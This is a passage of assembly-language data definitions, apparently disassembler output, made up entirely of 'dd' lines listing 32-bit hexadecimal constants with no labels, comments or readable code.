		dd 0F006E0A8h, 94C9F800h, 7A277F99h, 81B5000Fh,	0CE41A755h
		dd 17623CBAh, 20CC6779h, 4ED9086Bh, 49DC3900h, 9526892Eh
		dd 36520F9h, 0A6AA2C06h, 31823Eh, 923D5B7Eh, 75B23621h
		dd 8C748DB8h, 20AC8A30h, 33BF374h, 50B3CD65h, 8E0EB5Bh
		dd 0A658DBFEh, 2923814Ch, 250019E2h, 6618E7D5h,	0EDC9BFB3h
		dd 0AEE63091h, 0DDEF79E8h, 0C3416B02h, 49061CB5h, 36F4F8h
		dd 0A8A0D59Eh, 39A52200h, 448AD39Ah, 0FC690D02h, 482134ACh
		dd 34BCB990h, 49A940h, 5B0D3BECh, 67304E21h, 80319A1h
		dd 3707183h, 0EDF69F87h, 91ACE816h, 87926720h, 0FB20A9F9h
		dd 71593FE0h, 107200A1h, 0DB88FC2h, 3700D583h, 6B6D1BAh
		dd 0A40ACDBDh, 1B8520C4h, 621A7C00h, 0B26B22A4h, 83000FCh
		dd 16EC9CBh, 0A0693FFFh, 8B210091h, 8E6756h, 0F7331094h
		dd 0AFA80DD7h, 0A76D0A13h, 89C3BC09h, 0BF00226Ah, 0FC706439h
		dd 79A70127h, 4FB2A166h, 0BE199F05h, 0E480CFDFh, 50560725h
		dd 1CA0009Ah, 0A35C906Eh, 26018334h, 0BBCE70B2h, 39807A77h
		dd 66EDCA1h, 210936F7h,	1081AC2Fh, 3FC294C4h, 6A81BEADh
		dd 0AFE23072h, 179FC8B2h, 33543903h, 369147C1h,	0B13855B1h
		dd 0D5C2CF10h, 0F9CD6718h, 5D023406h, 0BDD45387h, 718C6BBh
		dd 1D11AEE8h, 0F14E3073h, 0BE04A7AAh, 8B338CFFh, 253088Ch
		dd 57590598h, 0E3804771h, 630F49Ch, 0D6013AF8h,	3F761EA4h
		dd 54246CD2h, 1F9B0768h, 21606F5Dh, 203AC7A5h, 21C06EF0h
		dd 411FF28Fh, 223753Dh,	53D8AA9Eh, 90903CBDh, 2A035105h
		dd 0AD5AC098h, 0CFBB0Ah, 0C92990F0h, 0FED95F3Dh, 9443A406h
		dd 0E2D082BAh, 2EB70FCFh, 5764420h, 2A746210h, 6A234Ch
		dd 3EB575E6h, 791D7EC0h, 0F980235Bh, 7BB1A3D9h,	31A824A6h
		dd 0B353410Ch, 11D02496h, 80CEA58h, 0C71BDA6h, 0F297B70h
		dd 0CC19DD07h, 92F3DF42h, 0ED190078h, 0AB946AB5h, 6613FF60h
		dd 8032B89Ch, 0BF9D2170h, 0FFFC246Ch, 7997BC18h, 3D49641h
		dd 0DA9557EBh, 0C91F4B3Fh, 0A9C49C20h, 892EC6Fh, 301446C1h
		dd 2CA182CDh, 9C3EC4B9h, 3E5D83E9h, 0BF492AF1h,	0BD20F4F0h
		dd 0B66B12AAh, 32884076h, 9E407DDCh, 0A697CD07h, 8A607263h
		dd 2E7F4167h, 2030E0E4h, 4B061454h, 241E88AEh, 4644226Fh
		dd 82B900C8h, 3564F11Bh, 7800950Eh, 63DDA9FEh, 0F609A1BFh
		dd 8806002Bh, 5F61667Eh, 0C1C0A5B3h, 0C23CC75Eh, 7BBD0194h
		dd 3F44660Dh, 0F55882DFh, 0C16AF8AAh, 4470A5F8h, 2491C0F4h
		dd 0DBBC4EE0h, 0F7EDAF09h
		dd 0AE2800A9h, 4A9821h,	93B2A761h, 0B45FDD52h, 350924FAh
		dd 2080DE6Ch, 0EDAD4E48h, 0C074F413h, 0EECF3238h, 70FA5139h
		dd 8BD5070Ch, 4849494Bh, 0FC8018C7h, 232808A1h,	5D0318A4h
		dd 868A0626h, 74FEBFBh,	3B0BBCC1h, 9136C02Bh, 38008061h
		dd 6803DC58h, 180263h, 0E77026C3h, 5B2D6CDh, 0CBDA8100h
		dd 29B324EFh, 5F4132FCh, 0A762FAC8h, 0B9484463h, 0D7AE8018h
		dd 0A956CBD8h, 0C851749Ch, 0B531D63Dh, 761126EFh, 811EE8h
		dd 70ECE713h, 3B00BEA6h, 6FCF278Ah, 90B2BFE8h, 2B46FCh
		dd 35B11F97h, 84A48280h, 0E8B6144h, 0F333C2CEh,	97C2ACCEh
		dd 0A8803C2Dh, 76E86CBEh, 6D648A0h, 9FADD91Eh, 0BF9596FAh
		dd 0F4331C4Ah, 5C323589h, 0A62300B0h, 0B2C4C640h, 1794E449h
		dd 0D801853Eh, 0B3E22548h, 11050829h, 0FBC03B5h, 8FA6D5F0h
		dd 0C8C820D1h, 1F90C0E8h, 2821354Ah, 189F9187h,	0CBE88BBAh
		dd 0CE740112h, 42FF41C6h, 933C2446h, 0D8E0A933h, 28D2809Ah
		dd 708B861h, 4F338A49h,	8021D4B7h, 1F1B53FCh, 3DF6B448h
		dd 814B0095h, 371D63CFh, 0BB339F5h, 0DC5DD300h,	41FAF49Eh
		dd 0E53BDCB0h, 35EF808Ah, 3D96257h, 0FD8100E2h,	20D4D80Ch
		dd 7C07BFCEh, 5B4368F7h, 3575F6B0h, 55D707DFh, 504DC371h
		dd 0C5BA3BC2h, 2E066D00h, 48227557h, 6FC103BFh,	8112E5D6h
		dd 5CB06BE0h, 96A87F03h, 0A03037B2h, 0FADCF52h,	65A5DCF5h
		dd 0E4104880h, 0BE1CB022h, 69870697h, 1F533B85h, 0CF48A04Eh
		dd 9AF5004Dh, 0BDA42721h, 44F6CCF1h, 2171F030h,	5C9AFD73h
		dd 5C07059Dh, 308DB2E6h, 0F63B4CE5h, 0C131741Ch, 647B82C0h
		dd 6B16C4Bh, 9C90A7D6h,	0AD3A4084h, 0B29D0F2Ch,	11C86CEBh
		dd 9F1B586Fh, 2F70850Eh, 8737B26h, 0F21EA65h, 2E2B9D01h
		dd 77D40E9Eh, 2E7EE9Ah,	7893AF8h, 0E05FB038h, 0DE4E9EB8h
		dd 0AD1879D8h, 0F704A0EEh, 5A6C3F0Ch, 0E850F6h,	0B0C7F92Ah
		dd 0CA8F5027h, 96087566h, 9C1A0BA1h, 781C5F7h, 0D0DDD476h
		dd 170A9E4Ch, 0A497A994h, 32D88F00h, 0E2915B22h, 6C600FEh
		dd 0AD0F9B35h, 0BD7EF460h, 0B1082E00h, 28C8736Dh, 1ED80049h
		dd 11E726E4h, 0F300A309h, 0B2231948h, 7D84E29Bh, 0A1CF013Bh
		dd 0F182AB3Fh, 0EE9F439h, 9E2C0400h, 14E7182Ah,	7D2F00A6h
		dd 0AE9D3744h, 6E00F66Fh, 28F73CD5h, 0FCC2296h,	8F29483Dh
		dd 1F053300h, 0B00E6F6h, 59EE9F80h, 699C14h, 121C308Ah
		dd 21B81D44h, 8FE05D0Fh, 0A9A68003h, 3C7E7C8Bh,	0CD3D38D5h
		dd 685559Fh, 8101E88h, 0C54B9600h, 0EFA35222h, 0A1700176h
		dd 0CC289B8Ch, 0A8618F74h, 0C2DC403Ah, 0EA854191h, 111B30C8h
		dd 0EDDD7741h, 64E50600h, 67E45633h, 42720CA0h,	0A678BBE0h
		dd 0F8F5B500h, 896B0F0Bh, 3FC203EDh, 9970CD48h,	88C0E6EAh
		dd 34E4EE54h, 0ECB6E00h, 2C7671BFh, 538830B1h, 84B42331h
		dd 98891602h, 27589E19h, 0CF726194h, 8A90816Ah,	9FF4C946h
		dd 19375C70h, 8C1230Eh,	31D18770h, 3DBFBBEh, 0B6C69Dh
		dd 2FE49AC9h, 8434C881h, 87350E00h, 0F6688003h,	0CC460392h
		dd 4E828D28h, 0A5113100h, 1CCF353Eh, 4AE6009Ah,	4C6255C8h
		dd 29000547h, 6C461F04h, 888009h, 0A8F12C39h, 2ED5B5E3h
		dd 6B5E9600h, 14AE24ACh, 4A773303h, 0ED93BD58h,	84F5100h
		dd 8DA9C629h, 9975003Fh, 6C60B4A7h, 4801386Bh, 0F4E1DCA6h
		dd 204E0797h, 80E98E08h, 0B69BC060h, 43F60118h,	4463475Eh
		dd 0BECBDC06h, 1D8AA30Dh, 9AE8E12Ch, 51A20EA7h,	38E1DCE6h
		dd 0F492B5D2h, 4800610Dh, 6F728011h, 0A029CCF9h, 28A6BCh
		dd 543D449Fh, 1F6A686Ch, 3CAB743Ah, 0CD20607Eh,	1AC4628h
		dd 5E1C3CBh, 9113D0D6h,	19FF849h, 4454E846h, 6E000B69h
		dd 14846A9h, 7B541330h,	520004ECh, 6EEDE7E1h, 6112120h
		dd 0A91299FAh, 1E7B209Fh, 5402F100h, 0F331BCE9h, 2C4D0159h
		dd 0FEBDF8E6h, 4CF881DDh, 841B1DA6h, 3D6A8450h,	929E01EEh
		dd 0CB3A21F0h, 5C08982Ah, 454921h, 7B4772EEh, 6193815Fh
		dd 1B88F11h, 7C1BAD0Fh,	6ADADF81h, 0AEC0806Fh, 754E5E0Fh
		dd 0B7700B8h, 0B654CD5Ch, 23005ACFh, 6B9028F8h,	97B97B60h
		dd 4A2DEF40h, 6385800Ch, 3AA8594Fh, 48C85E02h, 0A0D515DCh
		dd 40BB8515h, 63E9160Ch, 1721AAD8h, 0EE240087h,	2078ACD7h
		dd 9AC48085h, 2EDFA1E3h, 66D00B00h, 0A30A7519h,	6A370963h
		dd 0E4190181h, 23E84A13h, 46AC03F4h, 0AB925424h, 72DA0016h
		dd 961E8046h, 0D8A8CD13h, 0E707ED75h, 565B205Dh, 2EB106A0h
		dd 96F9000Fh, 47549346h, 0A63F2173h, 8C858698h,	25002B7h
		dd 0E79C3688h, 0A7836615h, 0D2E7EC80h, 0ECA0EB83h, 7E7A174h
		dd 0BEBB3D1Fh, 1BC07037h, 304FA7h, 7E60467Fh, 1D1095D3h
		dd 0C2BCB000h, 88E15FDEh, 309D604Ah, 80BF3E29h,	0C8C6ED24h
		dd 21384424h, 0F4D380CDh, 30D92991h, 0D87F4586h, 0C500FAB0h
		dd 0D095B2F9h, 3519302h, 0B6F8C2CAh, 8BB3C775h,	184CB154h
		dd 0EE4E048Ch, 6248AC21h, 84CA20A3h, 930013E0h,	0C573D00Eh
		dd 2ADFC54h, 16B587A3h,	0AE409215h, 0E4A83A81h,	0F307140Bh
		dd 10037973h, 3BF9E8C0h, 0B1E26013h, 0ECBFA8F0h, 2C44F3Bh
		dd 7B621A43h, 1DC09FE5h, 9802135h, 0E01AC97Ah, 707903D3h
		dd 0CD4A5C6Dh, 28868031h, 0D1A6B71Dh, 67300EDh,	0B66FE9BAh
		dd 5CABD000h, 5DF51858h, 2D5200EBh, 6914F173h, 7746803h
		dd 9C877CB0h, 50675D44h, 0CDFEC0Ah, 127D5A00h, 18DC0749h
		dd 0DA5924E5h, 21DB9250h, 3045F0E8h, 753C6BC0h,	7017007Dh
		dd 84307B4h, 936804FDh,	88AE65F9h, 83071F88h, 3779A19Dh
		dd 0BD858731h, 37E2C66h, 0A8CDA749h, 99C06B31h,	3E5CC64Ch
		dd 0C0210120h, 4460B1E8h, 784FDC50h, 0E2A100D1h, 53208E92h
		dd 0DF3B61C6h, 48540FF6h, 5AEC080h, 3C9ADBh, 82941609h
		dd 92146B32h, 1518C377h, 0B1405D1Ch, 37C53190h,	0C4B8C958h
		dd 5E0070CCh, 7B1491D4h, 3EDBFF29h, 0D62A71D3h,	57F00384h
		dd 7F642F2Bh, 5518B400h, 38B9585Bh, 29A40773h, 0E40F6344h
		dd 88B49105h, 1FC1EB6Bh, 83118190h, 0E7D65460h,	0E633A440h
		dd 5C9EFE07h, 0BA50781Ch, 0B0960142h, 36AE4782h, 57388197h
		dd 816D0713h, 1C0DB970h, 802C8021h, 5C9FF2F5h, 183D8BAEh
		dd 8A3B87D3h, 0F4A2E23Ah, 10209CBCh, 0C22FDF94h, 64086A8Ah
		dd 0ACB11CB8h, 1324FCA9h, 0EE3FC228h, 36407161h, 5722A4h
		dd 0B9E3671Fh, 3229D153h, 0F6995A01h, 0D7D324D2h, 0EDD80825h
		dd 53AA006Bh, 8931AF6Ch, 8088111Dh, 8A4200CCh, 0D58D692Fh
		dd 0F03DEF77h, 5D5E00EBh, 8B85EA17h, 60AA0096h,	0C8DAA47Ah
		dd 882AEF2Eh, 9402D0D5h, 0DAF3EA1h, 4FB0802Fh, 5C5A08A0h
		dd 7A1E0CB4h, 2EC71FFBh, 0E26B004Ch, 0B25C5BC8h, 6A3880C4h
		dd 4F9F6CC0h, 0EA350F45h, 3F81A384h, 8C2EC4CFh,	0C98ADB50h
		dd 0B71051EEh, 4CF8B800h, 99E0015Ah, 0DD79E9FFh, 0E71881CEh
		dd 19398505h, 0F2F7B447h, 80CB3887h, 37107B94h,	0FA28C0CDh
		dd 0E4ADE62h, 403B3076h, 6B18E151h, 24229AB1h, 3049629h
		dd 67ADCAAh, 892F7F89h,	7735D8h, 0CF466B6Ch, 11101312h
		dd 0AD6C005Fh, 89666D2Ah, 3F78E349h, 207B9E4Fh,	0A0208424h
		dd 87007571h, 894C98DDh, 16986AAh, 7B7E55ADh, 50018012h
		dd 0F81F0528h, 58904879h, 896BC080h, 93FB98C2h,	14BCC41Dh
		dd 5C45DE92h, 0AE2400DFh
		dd 41857CF8h, 10137B0Ch, 10E75979h, 404B5755h, 8071B90h
		dd 4A19316h, 0ED84DA84h, 345A4805h, 7C224C84h, 0AF84B184h
		dd 0AA3E5C22h, 0F1201019h, 7340E8BDh, 0A0843B50h, 8925B7Eh
		dd 540AC479h, 48ED8F13h, 85A35A11h, 4868CC31h, 0B0D507B1h
		dd 36CC9A4h, 0CE850B69h, 717FDAE0h, 81E50830h, 0EC8A1F6Bh
		dd 0F818A179h, 30FB6D0h, 38937ADh, 0A1142FB7h, 1C7071h
		dd 0EBBB0712h, 2A0DAED5h, 0ACC7ACCh, 0D9278596h, 0B9A9808Ch
		dd 0BA2F3408h, 2A304758h, 0C3C84EEh, 0CCAE0085h, 42FA73A3h
		dd 0F2090F8Fh, 8300A13Fh, 0B8F71102h, 0DA103460h, 3EE3E5AFh
		dd 29023D71h, 0F74EBB81h, 28063489h, 0AD00C156h, 0AFAB01A4h
		dd 558F15B1h, 0F801A08Ch, 58BA29F8h, 5F016449h,	0EB97B918h
		dd 0B79889EFh, 550C2331h, 0C8CE88CDh, 2ADD48E3h, 40206112h
		dd 0E6F9F158h, 0D105294Ah, 0CEAAAD31h, 622D780h, 0EA103A2Ch
		dd 0A33893ACh, 22FE440h, 38DDE13Fh, 0C804CF74h,	589DF3A3h
		dd 2D620E0h, 0F78DDE06h, 88EA2684h, 399BAC06h, 54631528h
		dd 44E610C6h, 6C0B120h,	3832E209h, 854AD30h, 0B8ACE6AAh
		dd 70D0AA4h, 87A4BD10h,	99E405F3h, 0EDC21093h, 32D80C82h
		dd 18515A11h, 0E001354Ch, 36918E38h, 6E37C0B3h,	174529D8h
		dd 40E3CCD0h, 0AE8FDF6Ch, 5B009EB2h, 34B51D09h,	1308AB64h
		dd 1401B53h, 481E1678h,	74A2D504h, 9F882D4Ch, 57F34C81h
		dd 424BA900h, 3FB666ACh, 85D579C0h, 16C02AB4h, 721FA29h
		dd 5053AF63h, 0BE11A32Eh, 0E4223200h, 1F871259h, 9AE8DDh
		dd 0F3BD0151h, 23187458h, 0D828EA00h, 90EF92A6h, 2EEC9AD9h
		dd 0BE406FBEh, 0C0EDC59Fh, 9CE5F6AEh, 6E1766B2h, 7E0FF53Ch
		dd 0A476A05Dh, 3A5699h,	0BE38C8BDh, 0B3EB2366h,	1DAA7A00h
		dd 52A51273h, 0DEAE26EEh, 0A223804Ch, 9A26206Ah, 0C0044C01h
		dd 24CE0E78h, 9832B6F8h, 0E0102536h, 9FB9C81h, 2B282481h
		dd 4DD5EC50h, 26D7E02h,	0A015C6A5h, 0E5C13698h,	0EA54000Bh
		dd 81EFCFA4h, 0E40ABC03h, 9C05B473h, 8B5C4780h,	8FFF8Eh
		dd 398159B9h, 511DB863h, 3EF5DD00h, 0DAD7EA1Fh,	985E0F3Bh
		dd 0A2C034A9h, 7F059022h, 12EFC200h, 524AE823h,	2F1E0266h
		dd 0B87346B5h, 6DAAA6E0h, 0CB5A7F00h, 9965150h,	0C90403D6h
		dd 0B47E16B9h, 0E455A7D1h, 0D002715Ah, 94506D99h, 0C12CC034h
		dd 212707E2h, 0C3F4D4F8h, 0ABA8754Fh, 0BF0757B9h, 122679Fh
		dd 0BC07EFF0h, 48B803CCh, 7CA01C5Bh, 19D19906h,	40FF75h
		dd 942E6715h, 89275A56h, 6AF54E00h, 0EB18922Ah,	11C600BCh
		dd 4890429Ah, 0F0E0B5EAh, 0AC25071Fh, 7E000D50h, 4FAD78B9h
		dd 7600E887h, 0EC29ED02h, 0A5ED412h, 0D50706F9h, 0F4D601F9h
		dd 0D3203C1Fh, 2213881Ch, 97DFD3C0h, 0C092C8AFh, 6C177318h
		dd 0D60C8BADh, 3CDECCFFh, 1EDC07C0h, 0B6033798h, 0D40740F1h
		dd 0EA086143h, 0C3031097h, 0CFF9E0FEh, 4FE40090h, 0D3B73195h
		dd 0B438D87Ch, 96F28027h, 9079C9E3h, 9E4A00FDh,	0AAE018FCh
		dd 4FFAB649h, 3470460Fh, 525701CEh, 1120BF99h, 754E7E2Fh
		dd 0DCF6008Fh, 674A7FF0h, 0BB64D8D2h, 0EA2EB409h, 90B70F00h
		dd 0B343B255h, 2A00B57Ch, 8B07234Dh, 74AC4CE9h,	523C00A0h
		dd 0B202D10Ah, 0D2032FB9h, 0C24476C1h, 0F828113Dh, 7BA611BAh
		dd 3C28ED11h, 0A084C413h, 4057F228h, 724561D8h,	2134B243h
		dd 86081028h, 0D6958850h, 3AA5384h, 0CA475C08h,	3C4994B8h
		dd 51E7D918h, 3F88ADC8h, 7DA1C401h, 0B9EE4673h,	81942229h
		dd 0D47B2A10h, 1175F111h, 0A0108D03h, 96E300B7h, 2A4B91D0h
		dd 5DE700F3h, 0FDD74DDDh, 7C122B88h, 1FBFAF32h,	4AC84097h
		dd 38E7780Fh, 7DD02307h, 0A30DF6Dh, 0B33A08h, 0C820363Eh
		dd 0D7C9AE11h, 438D9200h, 9489A477h, 167101B6h,	80B93AEEh
		dd 242FE46Bh, 0AB658800h, 48223DB8h, 0FBC8FF06h, 9F21001Fh
		dd 3BBDCADh, 71003B5Ah,	0A16BD952h, 8062F5h, 0E45FDDDAh
		dd 0F8230B31h, 84948h, 1413220Ah, 0E6808C4Dh, 66A50FADh
		dd 0C56746E2h, 74C92072h, 700F8A90h, 0D934C3h, 5B2EEE5h
		dd 2F9D0F29h, 51613F67h, 30718291h, 7948AC9Bh, 0CA007334h
		dd 0C71C53FAh, 739CE7C3h, 0E45B0099h, 30A7AA87h, 0E200DA45h
		dd 0A7C03B1h, 748F5E3h,	1BED1909h, 0F898A1E6h, 5D0EC015h
		dd 1E81F100h, 7ECD08AAh, 3D32003Eh, 75AF54CEh, 831C1958h
		dd 0BC018F2Bh, 0BD72CCF8h, 0FEF4FBE9h, 288E008Dh, 0CF5E27DDh
		dd 0BB00BA94h, 9747AF4Fh, 6F8051h, 57935D46h, 34766D10h
		dd 4FD81F00h, 9568A07Bh, 0BDFD0727h, 0C9D13B94h, 14C4001Dh
		dd 0D0F69C60h, 440FCF7Bh, 0E0561D33h, 54B0D9F9h, 4B070074h
		dd 0D3AFBEA4h, 0E7009801h, 15027189h, 50EFF7Fh,	0A98ACD8Eh
		dd 0FEC403Fh, 0D3A05F3Bh, 36D1E500h, 196644C2h,	1F4EE39h
		dd 47A8CDFCh, 81351703h, 0F9AB9098h, 0B5F0A653h, 5AAF3E23h
		dd 0A9431C8Ah, 0F6903AF0h, 48ED1C7Eh, 938EE780h, 5A6DFA8h
		dd 0E45AAC99h, 1A8900CDh, 36C81CF0h, 0ED20CA00h, 1F32FD8Dh
		dd 0B8C20763h, 0A05FACD9h, 600255ADh, 5676A400h, 87862939h
		dd 5CBD004Eh, 9A16FB31h, 8B0055DFh, 38CF3D28h, 0B1894Ah
		dd 4F9DB423h, 0D2ED09BBh, 4DC71F02h, 807C05AAh,	0E8C3C2FCh
		dd 0D56C00CFh, 6E9344Ch, 5300950Bh, 0B2048279h,	6080CCD8h
		dd 1FB418EBh, 55EEAABFh, 0F65AED00h, 0ABFBEFD9h, 7B6F00C4h
		dd 3B02E492h, 4548D84Fh, 3E0C07ACh, 0A1A03709h,	799E312h
		dd 3677DAECh, 274E80CEh, 44F8E474h, 0B3228F00h,	433C82E0h
		dd 360B39F2h, 0FF68BF01h, 7011C7CDh, 62B8DFFDh,	14FC1A00h
		dd 563A092Ah, 3C85008Eh, 0BB7390C1h, 8C1C297Dh,	5A001674h
		dd 259B7BBEh, 580701B4h, 91B2DF15h, 8FAE408Ch, 0ED0F0F3Bh
		dd 0DCB0C3D6h, 3AD24E00h, 50021Fh, 71DE5AD0h, 62AF733h
		dd 0A48A3400h, 0AAB2891h, 29DA0197h, 9C0CFD1Ah,	0C3D9EC4Fh
		dd 1071E400h, 0D1F9BB03h, 0EC923Bh, 0BD213617h,	0B6BF05C7h
		dd 0A000F17Ch, 0FB80D11Dh, 4A0731h, 983A9301h, 6E94190Eh
		dd 32C27E00h, 0AE22DC3Ch, 45680536h, 1A53EA7h, 0F73819FFh
		dd 824430A2h, 0B7F6570Eh, 6E70E0B1h, 0AB454Fh, 0D2B69554h
		dd 0C38B9329h, 0C4BCF800h, 98CB9774h, 70110063h, 0E3776282h
		dd 4A00BA20h, 0AED3893Ah, 0FAD4ACh, 7DB61642h, 11E9EEFh
		dd 50F77200h, 2B264F1Fh, 0EC9439E1h, 0CAC55F03h, 0BAA1158Fh
		dd 63B4419Fh, 0E9CDC0C1h, 0C7189D00h, 6A410E6Dh, 9DF00D9h
		dd 0B4F64C43h, 0A5EC2AF8h, 8000DCFAh, 0CBBF1AF3h, 3ADAB8h
		dd 0C38EA2C1h, 6D8F7771h, 0FCA0C000h, 0DB0280Ch, 3A7F89h
		dd 3E088436h, 0FBE98C06h, 5B1E19ECh, 9E01DD16h,	41EB2F63h
		dd 2EB4CCh, 350BA9BEh, 0B531193Ah, 5A005B74h, 5348E682h
		dd 0F395F2h, 6152F5A3h,	100CD431h, 390B9700h, 0FB670F48h
		dd 5DB11E91h, 8D00FC51h, 0C6AC9A1Dh, 38C0F032h,	17FD958Fh
		dd 405C0012h, 0A40BDBABh, 0D807F325h, 0A72C1911h, 930E6FB0h
		dd 9022EC5Ch, 7F25002Ah, 0F621E490h, 1807ED2Eh,	3EE53D49h
		dd 0D089F823h, 0F4454BDAh, 78DF8F1h, 0E8FC118Ch, 0F04260D7h
		dd 0DB00B882h, 0A848B113h, 799B6A87h, 0BFC00BEh, 0E2816CFBh
		dd 0D00450Eh, 0F7854938h, 39B4222Fh, 5E00CC13h,	959AAF98h
		dd 0BD7C1E4Fh, 2FEFC91Fh, 0CAF94A80h, 7B6F0C48h, 0A48C0085h
		dd 18C7E901h, 6B38EB6Dh
		dd 0E64700FDh, 381FDC93h, 0D0C350F0h, 91CB0078h, 98E4C28Fh
		dd 12393B27h, 45A4802Dh, 7005C4DCh, 0DAC01ED6h,	75B6005Bh
		dd 21F98151h, 8CAD7C00h, 7AAA8369h, 2B7920Ah, 0D83DE201h
		dd 204048CBh, 92C0356Ch, 0EB8CE608h, 98FB0086h,	0A20342D5h
		dd 0E10B4D97h, 20817E4Ah, 602D7468h, 830B011Eh,	16C75BDh
		dd 369FF41Ch, 16FFEB00h, 0C7E8F43Eh, 24877AF0h,	1298CF58h
		dd 0A2AC0085h, 6E4DC0EDh, 280E1400h, 7EE0F3BEh,	7DEB00FDh
		dd 2970AE90h, 0FB0003E2h, 0B745D7F7h, 0F22CD0Ah, 0A59782E6h
		dd 13CC0BEh, 60449BC6h,	93A30F0Fh, 5D64C020h, 6A0B4Ah
		dd 0E829EE5Ch, 518E30D9h, 5E002D7Ah, 62E78481h,	3F97870h
		dd 8FEC2054h, 33809371h, 370002F3h, 2C4E32E4h, 708C77FCh
		dd 1F10001Bh, 0CC367E65h, 2D26A8D9h, 0D7002843h, 0BD622E5h
		dd 66E74C3Bh, 0E9C22B00h, 0DBD1CCAEh, 112E3Eh, 79F49247h
		dd 850B80h, 6663B106h, 0F628F2DAh, 595E8400h, 3D41B2A7h
		dd 20E730B5h, 0C9C7DFB0h, 0C86BB805h, 41C16E3Ch, 50E4FF0Ch
		dd 0E9E2CBh, 271961ADh,	0BF38C5D4h, 80ACE33Bh, 0CA32B2BCh
		dd 4AFEA4h, 0D38DE620h,	3DEDC0E2h, 6BB83375h, 0C300607Eh
		dd 4910C57Dh, 5DC539Dh,	9E036CC6h, 6590C0A4h, 8C1F3076h
		dd 3B07523Eh, 0A3E1F7AEh, 0C23036DFh, 188E0149h, 34832FBFh
		dd 485CEC95h, 2C8CC426h, 0F5A0073Eh, 9A909028h,	0CF5713h
		dd 810296A3h, 957518BCh, 2C51EE00h, 538F8604h, 79FC0021h
		dd 42BC9026h, 55003527h, 0B2089FCCh, 0B4D22Eh, 0DD170967h
		dd 783D5D8Fh, 0C266B100h, 73468357h, 75072D2h, 10388CC0h
		dd 0C481297Bh, 70A51301h, 832EC7C9h, 40009CDCh,	3B7F6CB4h
		dd 0FE4100B7h, 8F7A51FCh, 0CF00C6E9h, 0D975B2F4h, 571562Ah
		dd 4F8ABA8Dh, 59F8009Eh, 0F958D8C1h, 84002F7Ch,	86FA5D7h
		dd 72EA3F3Bh, 177F01h, 946D7E54h, 4D7BFD43h, 0A49A902Eh
		dd 7980EF1Fh, 0D5CE0353h, 0BB4712D2h, 0B940180h, 0C7C1FF8Ah
		dd 0C08CA0B4h, 0A27930Bh, 78BC80E1h, 4A983E19h,	0EE6840C5h
		dd 879AABE8h, 0AC266712h, 0E440A300h, 1F86CCDBh, 0CAAEA1h
		dd 0FCD36851h, 20FF1887h, 0C496196Bh, 0D82029A4h, 0C91E3E02h
		dd 4011F994h, 1FE96C3Ch, 0C0E1B447h, 2F45DF9Ch,	50033966h
		dd 10D1F2A1h, 0AA80F067h, 9FC2091Eh, 0D0003548h, 0C6B8C06Ch
		dd 87423F00h, 0EA183B2Ch, 357E0FCh, 729F90A3h, 807525EEh
		dd 76A8CB00h, 15E4CF5Fh, 0BFB0A828h, 0F256173Eh, 0FE800A2h
		dd 354D0916h, 13E0B53Bh, 80006964h, 2D53B3C6h, 0A42C0FD3h
		dd 0EBC006E2h, 54F8A782h, 0CF2C501h, 0B148B7CCh, 3A7F6870h
		dd 0FA1E64h, 19094144h,	0D6DCC76Dh, 0B4A64D12h,	2084854Eh
		dd 0ECA4600Eh, 76660F36h, 0B601A5Ch, 0A5F2833Dh, 11B74402h
		dd 60718869h, 16556CA2h, 0B8ACE070h, 621B18F4h,	0DCBA10h
		dd 6D54EC4Eh, 0B21FC058h, 7CEB3Ah, 0BAED0E4Ch, 88B551h
		dd 0B4D8D3CCh, 632D78E7h, 9600E8E6h, 1345B739h,	0E28E2DBh
		dd 0A1FEE1A3h, 0A5B04C20h, 31073B59h, 136D958Eh, 892E8AF1h
		dd 1200DE0h, 216AA1EAh,	60C13FACh, 562E3C1Ch, 9601A073h
		dd 0D4429C81h, 12177C8h, 507BC80Fh, 45F4973Ah, 0B7C0AFFCh
		dd 90BFD0E2h, 0D3F50034h, 0B683EADEh, 7D76083Ah, 0FB174000h
		dd 1EE0B266h, 0F9EB0047h, 6E55DC5h, 43003F44h, 0D89FDD32h
		dd 28C9C2h, 0EA64F0C6h,	67B5851Bh, 2EFD400Eh, 0A8E0608Bh
		dd 0F66BDDh, 9846B9DFh,	8F52A1C7h, 38290E0Eh, 0A457C0CFh
		dd 0F02009h, 0AB186F8h,	9C8FDF93h, 0BF03F894h, 0A02F95ECh
		dd 8D318Eh, 6B0CE9B6h, 8B7E501h, 0DAE77B00h, 842CC8D4h
		dd 34BD00C6h, 0AC786410h, 890069B2h, 3215A4DBh,	0F86DE12h
		dd 108F1F2Fh, 0A06B41A0h, 2C009B2Ah, 5AEB65D0h,	0A0E353B4h
		dd 98DCDFD8h, 0AC6450CCh, 7DAF0021h, 0AD1A43D2h, 8D0098DDh
		dd 0A6F5184Fh, 0B41387h, 9531C608h, 2EF8BCEBh, 7CE7A100h
		dd 0B3590265h, 13041428h, 5409D8C7h, 784B55CEh,	0BBAF1A80h
		dd 5FB2D71Eh, 59009457h, 0DFB67365h, 0DDE62C12h, 1F24F8h
		dd 22CCFA8Eh, 650080EBh, 0C61F7E0Fh, 7EE4557h, 8B3FF937h
		dd 68D7D01Eh, 6101B070h, 9BD1C036h, 0F0EFEBEDh,	0A0F89E1Bh
		dd 1242C3ACh, 0E0CFFCh,	0A3E6240Ch, 1C9A0EC2h, 4F521D00h
		dd 0B6194B70h, 9E210972h, 0E00E9C44h, 3B367740h, 39391669h
		dd 0AC2292EDh, 0F57D3040h, 32A16Ch, 0A8441E24h,	0E657846Eh
		dd 25223A0Bh, 2DD780CEh, 0E524F4h, 9B78D64Fh, 7A766EE7h
		dd 823D9C00h, 902F81A0h, 6046001Fh, 0AE9A1701h,	0C101FDF3h
		dd 4752F0C9h, 0FEC5B8E1h, 0B7CBCD8h, 934FD99Fh,	686B9800h
		dd 4400D4DDh, 65DA8B96h, 28491F74h, 0ECD117h, 0FF8998B3h
		dd 35018FCDh, 0F17E0307h, 39F0E954h, 59E3ECh, 2381B9E6h
		dd 822C68D4h, 6000CAEAh, 8A4056FDh, 1E79233h, 0BCF4B453h
		dd 0CBD03Dh, 2EE2EED8h,	0B46D70h, 0F85B98CDh, 7800D1F0h
		dd 0CF434E77h, 122B97DBh, 434CEFE1h, 0B71B6734h, 518F3BC0h
		dd 746CF100h, 32ED3F61h, 0B817023Ch, 4BDD62Dh, 65C2C040h
		dd 4109D7ECh, 6D08EAh, 0B7D5FB92h, 0A6A43A31h, 4B12AA00h
		dd 29E562FFh, 9F7ACE00h, 91B240Fh, 194D0099h, 0BE20C1F3h
		dd 6500B3DEh, 7F7CBFCFh, 0C60EF7h, 0B31B477h, 68809D29h
